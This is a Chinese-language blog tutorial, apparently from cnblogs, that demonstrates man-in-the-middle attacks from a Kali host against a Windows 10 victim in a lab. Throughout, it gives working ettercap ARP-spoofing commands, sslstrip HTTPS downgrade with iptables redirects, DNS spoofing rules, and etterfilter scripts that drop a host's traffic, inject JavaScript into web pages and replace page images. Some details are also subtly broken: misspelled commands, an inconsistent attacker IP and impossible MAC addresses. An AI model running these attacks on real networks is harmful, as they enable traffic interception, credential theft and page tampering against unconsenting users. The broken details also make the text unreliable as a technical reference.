中間人攻擊(MITM)該攻擊很早就成為了黑客常用的一種古老的攻擊手段,并且一直到如今還具有極大的擴充空間,MITM攻擊的使用是很廣泛的,曾經猖獗一時的SMB會話劫持、DNS欺騙等技術都是典型的MITM攻擊手段.在黑客技術越來越多的運用于以擷取經濟利益為目标的情況下時,MITM攻擊成為對網銀、網遊、網上交易等最有威脅并且最具破壞性的一種攻擊方式.
主機清單 | IP位址 | 網關位址 | 主機作用 |
---|---|---|---|
Windows 10 | 192.168.1.2/24 | 192.168.1.1 | 被害主機 |
Kali Linux | 192.168.1.9/24 | 攻擊主機 |
抓取内網流量
該方法是最常用的一種攻擊方式,主要可以實作對内網主機發起ARP欺騙,進而截取内網主機的流量,但該方法隻能截獲未加密的資料流加密後是無法破解的,以下例子将示範流量抓取與分析.
開啟APR欺騙: 首先在
kali linux
上執行以下指令,開啟ARP欺騙.
root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1// -q
-i eth0 #指定網卡接口
-T #文本模式顯示
-M #指定為雙向ARP欺騙
/192.168.1.2// #為要攻擊的IP位址
/192.168.1.1// #本地的網關位址
截取目标RUL: 上面終端不要關閉,啟用
urlsnarf
工具指定主機通路的URL.
root@kali:~# urlsnarf -i eth0 |awk '{print $1 " ---> " $7}'
192.168.1.2 ---> http://www.mkdirs.com
192.168.1.2 ---> http://www.baidu.com/
192.168.1.2 ---> http://www.cnblogs.com/lyshark
截取目标圖檔: 當然也可以使用
driftnet
工具截取指定主機的圖檔流.
root@kali:~# driftnet -i eth0
HTTPS降級嗅探
對SSL流量的嗅探,可以使用sslstrip這個工具,它的原理就是把所有的https流量降級為http流量,相當于一個中間人的角色,它與伺服器建立正常的https連接配接,而與浏覽器則使用http連接配接,使用時需要本機開啟流量轉發,将80端口的http流量同時轉發到10000端口上,在10000端口上使用sslstrip來監聽即可:
1.通過指令收集區域網路的IP位址資訊,和網關等.
root@kali:~# ifcofing #指令檢視目前網關
root@kali:~# netdiscover #擷取到目前目标IP
2.開啟核心轉發功能保證攻擊過程中被攻擊者不斷網.
root@kali:~# echo "1" > /proc/sys/net/ipv4/ip_forward
3.使用iptables把80端口的流量轉發到sslstrip監聽的10000端口上.
root@kali:~# iptalbes -t nat -F
root@kali:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000
root@kali:~# iptables -t nat -A PREROUTING -p tcp -–destination-port 80 -j REDIRECT –to-ports 10000
root@kali:~# iptables -t nat -L
4.啟用
sslstrip
并啟動ettercap對目标主機進行arp攻擊.
root@kali:~# sslstrip -l 10000
root@kali:~# ettercap -i eth0 -T -M arp:remote /192.168.1.2// /192.168.1.1//
此時當使用者浏覽的網頁中包含https協定,會被轉化為http協定的請求.但是sslstrip也不是萬能的,假如網頁中沒有https,但是js代碼綁定了跳轉到https的協定請求的事件,那麼sslstrip就失效了.如果使用者打開網頁的時候請求就是https,會導緻證書認證失敗,網頁一直打不開.
DNS區域網路投毒
該配置主要用于實作控制區域網路中網絡的通路,例如可以指定将所有通路
baidu.com
的請求轉到通路
192.168.1.9
這台主機上,我們可以在這台主機上配合後門,這樣的話所有内網主機都會預設通路我們的網址,進而實作區域網路中網站頁面的重定向.
1.安裝并啟動apache服務程式,後期我們要将頁面跳轉到kali的http服務上.
root@kali:~# echo "hello lyshark" > /var/www/html/index.html
root@kali:~# systemctl restart apache2
2.通過使用
netdiscover指令
擷取到主機資訊,這裡主要來确定一下
192.168.1.1是網關
,而
192.168.1.2
為被攻擊主機.
root@kali:~# netdiscover
Currently scanning: 192.168.1.0/24 | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.1 11:72:se:c7:se:af 1 60 TP-LINK TECHNOLOGIES
192.168.1.2 ac:3s:ca:xf:g1:w8 1 60 Dell Inc.
192.168.1.9 f2:1e:28:4e:4c:s4 1 60 kali linux.
3.配置跳轉位址,将所有通路
.com,.org
的網頁請求,全部跳轉到本機的apache上.
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.8 netmask 255.255.255.0 broadcast 192.168.1.255 确認自身IP位址
root@kali:~# vim /etc/ettercap/etter.dns
################################
# microsoft sucks ;)
# redirect it to www.linux.org
#
*.com A 192.168.1.9 #添加跳轉頁面,意思是隻要是.com結尾的,跳轉到本機IP
*.org A 192.168.1.9 #添加跳轉頁面,意思是隻要是.com結尾的,跳轉到本機IP
microsoft.com A 107.170.40.56
*.microsoft.com A 107.170.40.56
www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed
4.開啟轉發,并啟動中間人攻擊,此時被攻擊主機通路指定規則頁面,都會跳轉到我們的網站上.
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /192.168.1.2// /192.168.1.1// -q
root@kali:~# ettercap -i eth0 -T -P dns_spoof -M arp /// /192.168.1.1// -q
禁止主機上網
1.編寫一個過濾腳本,下面的腳本名為
lyshark.txt
,内容如下.
root@kali:~# vim lyshark.txt
if (ip.src == '預設網關') {
kill();
drop();
msg("kill all");
}
if (ip.src == '被攻擊主機IP') {
kill();
drop();
msg("kill all");
}
2.編譯成ettercap可以識别的二進制的二進制檔案.
root@kali:~# etterfilter lyshark.txt -o lyshark.ef
3.使用ettercap加載此腳本,欺騙全網段可以使用
///
代表.
ettercap -i eth0 -T -F lyshark.ef -M arp:remote /192.168.1.2// /192.168.1.1// // 欺騙指定主機
ettercap -i eth0 -T -F lyshark.ef -M arp:remote /// /192.168.1.1// // 欺騙全網段
向網頁注入代碼
該功能可以實作向網頁中注入特定的代碼.
lyshark.txt
# 攔截受害者發送的請求,将封包壓縮方式由gzip降級為不壓縮
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
pcre_regex(DATA.data,"(Accept-Encoding:).*([\r\n])","$1 identity$2");
msg("chage encoding");
}
}
# 對于伺服器響應,向head中注入js
if (ip.proto == TCP && tcp.src == 80) {
if (search(DATA.data, "<head>")) {
replace("<head>","<head><script>alert('hello lyshark')</script>");
}
}
需要注意,這裡要對請求頭的
Accept-Encoding進行篡改
,否則響應預設使用gzip編碼的,這樣我們直接注入明文js是無效的,将編碼方式降級為Identity,服務端會傳回明文封包,同時用戶端也不會再對封包進行一次解碼.
root@kali:~# etterfilter lyshark.txt -o lyshark.ef
///
ettercap -i eth0 -T -F ig.ef -M ARP:remote -w network.pcap /192.168.1.2// /192.168.1.1//
替換頁面資料
1.以下腳本可實作将頁面中所有
img src=
相關的圖檔全部替換成,指定網址中的圖檔.
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://www.mkdirs.com/lyshark.jpg\" ");
replace("IMG SRC=", "img src=\"http://www.mkdirs.com/lyshark.jpg\" ");
msg("Filter Ran.\n");
}
2.編譯這個檔案.
etterfilter exe.filter -o exe.ef
3.使用ettercap調用過濾腳本發動ARP攻擊毒化目标主機的ARP緩存
ettercap -Tq -i wlan0 -F exe.ef -M arp:remote /192.168.1.9/ /192.168.1.1/
文章出處: https://www.cnblogs.com/LyShark/p/10637614.html
版權聲明:本部落格文章與代碼均為學習時整理的筆記,部落格中除去明确标注有參考文獻的文章,其他文章
[均為原創]作品,轉載請
[添加出處],您添加出處是我創作的動力!
如果您惡意轉載本人文章并被本人發現,則您的整站文章,将會變為我的原創作品,請互相尊重 !